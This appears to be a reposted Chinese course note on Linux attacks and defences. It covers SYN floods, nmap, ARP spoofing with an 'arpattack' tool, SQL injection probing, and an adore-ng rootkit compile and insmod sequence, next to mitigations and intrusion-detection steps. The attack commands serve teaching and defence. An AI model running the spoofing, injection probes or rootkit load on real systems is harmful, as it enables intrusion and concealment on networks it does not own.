Linux安全篇-攻击

tcp洪水攻击
cat /proc/sys/net/ipv4/tcp_max_syn_backlog //半连接数目
1024               个客户连接
/proc/sys/net/ipv4/tcp_synack_retries 探寻5次 超过断开
5
超过这个数目访问慢
不回ACK 半连接状态
 cat /proc/sys/net/ipv4/tcp_syn_retries 客户端
5
DOS 拒绝服务攻击
syn洪水
解决方法:
1.扩大连接池  1024X{2000/128}  
2.减少次数/proc/sys/net/ipv4/tcp_max_syn_backlog 4096
]#vim /proc/sys/net/ipv4/tcp_synack_retries 3
syncookies 功能
]#echo 1> proc/sys/net/ipv4/tcp_syncookies //打开syncookies功能
永久生效:
]#vim /etc/sysctl.conf
net.ipv4.tcp_max_syn_backlog =4096
net.ipv4.tcp_synack_retries =3
net.ipv4.tcp_syncookies =1
net.ipv4.ip_forward = 1
netstat -ntpl|grep SYN_RCVD//怎么发现的
service httpd stop
iptables -t filter -A INPUT -p tcp --dport 80 --syn -m limit --limit 10/minute --limit-burst 10 -j ACCEPT
iptables -t filter -A INPUT -p tcp --dport 80 -j DROP
宽带问题无法遏制的要报网警
 awl -d 192.168.0.253 -p 80//攻击
缓冲区溢出
nmap扫描
-sA (ack的包)扫描mask地址:MAC Address: 00:19:21:0B:C4:72
-sL
-sP
-P0 扫描开放的端口和MAC地址
-PS
-PA
sN; -sF; -sX //扫描开放的端口扫描
-sU
-sA IP
-sL ip//扫描开放的端口扫描
1. 客户端需要安装net-snmp包
2. 安装之后,清空原有的/etc/snmp/snmpd.conf, 输入以下内容:
com2sec notConfigUser  192.168.1.0/24       happyday
com2sec notConfigUser  219.239.89.0/25      happyday
group   notConfigGroup v1           notConfigUser
group   notConfigGroup v2c           notConfigUser
view    systemview    included   .1.3.6.1.2.1.1
view    systemview    included   .1.3.6.1.2.1.25.1.1
access  notConfigGroup ""      any       noauth    exact  all none none
view all    included  .1                               80
3.重启snmpd服务并设置为开机启动
service snmpd restart
chkconfig snmpd on
 服务器端的设置:
219.239.89.57
1. 生成单个机器的mrtg配置文件
    cd /usr/local/mrtg
    bin/cfgmaker happyday@219.239.89.38 --output etc/219.239.89.38.cfg
将上面的IP换成客户端的真实外网IP
2.  更新索引页
  bin/indexmaker etc/mrtg.conf --output=/data1/wwwroot/mrtg/index.html
 3. 至此,即可通过http://monitor.120ask.com/mrtg/观察所有已经添加的机器网络状况
注意,单个图片显示标题,可通过修改对应的cfg文件实现

 

ARP 欺骗

 

HWaddr 00:E0:4D:3B:01:57    inet addr:192.168.0.5  
 00:E0:4C:14:F7:77           inet addr:192.168.0.254
     ./arpattack –t arpdeceive –i eth0 -o 192.168.0.209 -a  192.168.0.254 -s  192.168.0.5
  arpattack –t arpdeceive –i interface
  –o .. . –a . .. [-e . .. ] [-l . .. ]
-o 篡改指定主机上的ARP缓存 -a所指定的
  主机 中的arp记录,-s指定所自发的目的
  物理地址
指定从哪个接口发出攻击包. -o 指定要攻击
  的机器(A_ip) –a 指定攻击对方的哪个记录
  IP (GW_ip),-s指定改为哪个MAC地址
  (C_IP)
  |  1.1.1.1
             [ GW ]
             |  192.168.0.253   00:B0:C4:01:27:D1
    /       |       \
 0.188   0.13  0.194
  A           B          C
A想通过GW,转发数据包,上网
B的MAC是  00:19:21:0B:C4:72
C欺骗A,告诉A,GW的MAC地址是B的!
    看结果?
在A 上 arp -n查看到的GW的mask地址是B的mask地址
                     arp攻击
 arpattack –t arpdeceive –i interface
 –o .. . –a . .. [-e . .. ] [-l . .. ]
-o 篡改指定主机上的ARP缓存 -a所指定的主机 中的arp记录,-s指定所自发的目的 物理地址
指定从哪个接口发出攻击包. -o 指定要攻击的机器(A_ip) –a 指定攻击对方的哪个记录IP (GW_ip),-s指定改为哪个MAC地址(C_MAC)
arpattack -t arpdeceive -i eth1 -o 192.168.0.188 -a 192.168.0.253 -s 192.168.0.13
看结果?
  在A上,arp -n 查看到的GW的MAC是B的MAC

解决: 把网关的MAC和IP的对应关系静态的绑定
[root@A_HOST ~]# arp -s 192.168.0.253 00:B0:C4:01:27:D1



arping IP ping的时候有两个mask地址 说明自己被欺骗了

解决被欺骗问题
把网关的MAC和IP的对应关系静态的绑定
arp -s绑定
arp -s 192.168.0.253  mask 地址

# ./arpattack  -t arpdeceive -i eth0 -o 192.168.0.27 -a 192.168.0.254 -s 192.168.0.221
]# arp -f /etc/ethers
]# cat /etc/ethers
00:24:1D:30:15:C2 192.168.0.254
]# arp -s 192.168.0.254 00:24:1D:30:15:C2
]# tar zxvf rootkit.tar.gz
 arp -n//查看mask缓存列表
]# tar zxvf rootkit.tar.gz
]# cd adore-ng/
]# make
]# insmod /var/ftp/pub/rootkit/adore-ng/adore-ng-2.6.ko
]# ./ava -h
ARP(address resolution protocol )为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务
00:00:00:00:00:00 广播 在同个网络接口下就是一个广播域
             arp工作原理
  arp的工作原理如下:
•1. 首先,每台主机都会在自己的arp缓冲区 (arp cache)中建立一 个arp列表,以表示ip地址和mac地址的对应关系。
• 2. 当源主机需要将一个数据包要发送到目的主机时,会首先检查 自己 arp列表中是否存在该 ip地址对应的mac地址,如果有﹐就直接 将
  数据包发送到这个mac地址;如果没有,就向本地网段发起一个 arp请求的广播包,查询此目的主机对应的mac地址。此arp请求数据 包
  里包括源主机的ip地址、硬件地址、以及目的主机的ip地址。
• 3. 网络中所有的主机收到这个arp请求后,会检查数据包中的目 的ip是否和自己的ip地址一致。如果不相同就忽略此数据包;如果相 同,
  该主机首先将发送端的mac地址和ip地址添加到自己的arp列表 中, 如果arp表中已经存在该ip的信息,则将其覆盖,然后给源主机发 送
  一个 arp响应数据包,告诉对方自己是它需要查找的mac地址;缓存时间是有限的,理论上是15分钟
• 4. 源主机收到这个arp响应数据包后,将得到的目的主机的ip地 址和mac地址添加到自己的arp列表中,并利用此信息开始数据的传 输。
  如果源主机一直没有收到arp响应数据包,表示arp查询失败。

arp欺骗 错误或不存在的  1.不问网关mask地址 将网关和IP绑定在本地
                                                  2.分割广播域
                                                         1.交换机作vlan技术
嫁祸于人                                        2.ppp点对点协议 pppoe(以太网上的ppp 不改变当前拓扑下 进行点对点小区宽带常用)
                                                        总线 (断1 其他主机 网络无影响)星型( 断1 也不影响其他主机 但是 中间坏了 都无法通信) 环型  (断1 整个网络都会断)
不存在
  • PPPoE(PPP over Ethernet)
 是在以太网上建立PPP连接,由于以太网技术十分成熟且使用广泛,而PPP协议在传统的拨号上网应用中显示出良好 的可扩展性和优质的管理控制机制,二者结合而成的
  PPPoE协议得到了宽带接入运营商的认可并广为采用。
• PPP(Point-to-Point Protocol点到点协议)是为在同等单元之间传输数据包这样的简单链路设计的链路层协议。这种链路提供全双工操作,并按照顺序传递数据
  包。设计目的主要是用来通过拨号或专线方式建立点对点连接发送数据,使其成为各种主机、网桥和路由器之间简单连接的一种共通的解决方案。
arp 防火墙
小心下载攻击软件 可以用虚拟机下载


SQL 注入:

ql中所有变量使用单引号
$name = "1 or 1=1"
$sql = "select * from user where name = '$name' ";
1. 对整型变量进行强制类型转换
  $id = intval($_GET['id']);
  $id = (int)$_GET['id'];
  $sql = "select * from user where id = '$id'";
  "update user set num = num+1 where id = '$id'"
2. 使用mysql_real_escape_string对变量进行转义,为精简代码,达到复用之目的,请见quotes.php文件的例子
3. PDO参数绑定(强烈推荐)



http://192.168.0.253/xxx.html
URL: http://192.168.0.253/xxx.php?id=5
 select  *  from  table where id=5;
  手动探测对方网站是否有SQL注入攻击
 1 、 http://192.168.0.253/xxx.php?id=5‘
select  *  from  table where id=5‘;
  2、 http://192.168.0.253/xxx.php?id=5 and 1=1
select  *  from  table where id=5 and 1=1;
目的是判断对方主机是否在页面代码中对一些SQL语句中的特殊字符做过滤
猜对方的后台管理的用户和密码
 http://192.168.0.253/xxx.php?id=5 <> (select * from user)
select  *  from  table where id=5 <> (select * from user)
angel
sql注入
  SQL注入攻击利用的是将用户输入写进数据库查询语句之前未经过合法性验证或过滤的漏洞。攻击者可以利用SQL语言嵌套的能力构建一个新的查询,不知不觉地修改或撮数据库中的信息。常
  见的SQL注入攻击目标是通过WEB服务器执行的CGI程序以及到后端数据库的接口。
• 假设一个CGI程序执行用户名和密码的检测任务。如果WEB客户端提供的用户名和密码没有被正确的过滤,那么用于验证的查询语句就很容易受到注入攻击。
 SQL注入漏洞防御
– 代码部分
   • 使用代码复查,要求网站程序员对所有动态网页的表单内容进行过滤或者强迫使用参数化语句。强迫使用参数化的语句,意味着嵌入用户输入的SQL语句在运行时将被拒绝。
– 避免使用解释程序,因为这正是黑客们借以执行非命令的手段。
– 避免出现一些详细的错误消息,因为黑客们可以执行非法命令的手段。利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。
– 使用专业的漏洞扫描工具。但防御SQL注入攻击也是够的。攻击者们目前正在自动搜索攻击目标并实施攻击。企业应当投资于一些专业的漏洞扫描工具。
– 企业要在WEB应用程序开发过程的所有阶段实施代码 的安全检查。
Linux下对缓冲区溢出攻击的防范
 – 使用chroot方式运行敏感服务,如bind,RHEL4之后的版本中bind就使用chroot方式运 行的。
 – 部署SELinux 或者LIDS等内核级别的限制程序。
怀疑遭到入侵后的简单检测方法
• 检查系统密码文件
  – 修改日期
  – 特权用户
  – 空口令帐户
• 检查系统进程
  – 检查inetd进程
     • inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前;
     • 正常情况下,Linux 系统中的inted服务后面是没有-s参数 的,当然也没有用inetd去启动某个文件;
     • Solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件。
  检查网络连接的监听端口
  – 输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接;
  – 输入netstat -m,查看本机的路由、网关设置是否正确;
  – 输入ifc onfig -a,查看网卡设置。
• 检查系统日志
  – 命令last|more查看在正常情况下登陆到本机的所有用户的历史记录;
  – last命令依赖于syslog进程,入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上
    次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
  检查系统中的core文件
• 检查系统文件完整性
• 检查内核级后门
  手工的入侵检测行为对于系统安全来说只是治标不治本,多半还是依靠管理员的技巧和经验来加 强系统的安全性,没有,也不可能形成真正的安
  全体系,虽然好过没有,可以检测和追踪到某些入侵行为,但如果碰上同样精通系统的入侵者就很难抓住踪迹了。搭建真正的安全体系需要配合
  使用入侵检测系统,一个优秀的入侵检测系统辅以系统管理员的技巧和经验可以形成真正的安全体系,有效判断和切断入侵行为,真正保护主机、资料。
   Linux灾难恢复
• 系统万一被入侵所要采取的基本步骤
    立即拔除网线
      分析登录文件信息,搜寻可能的入侵途径
     检查主机开放的服务
      查询Internet上面的安全通报
     重要数据备份,如果可以,要对整个系统作镜像。
     重新全新安装
      套件的漏洞修补
      关闭或移除不需要的服务
      数据恢复与恢复服务设定
    连上Internet
angel 2008.php
webshell

转载于:https://www.cnblogs.com/centos-python/articles/8523796.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值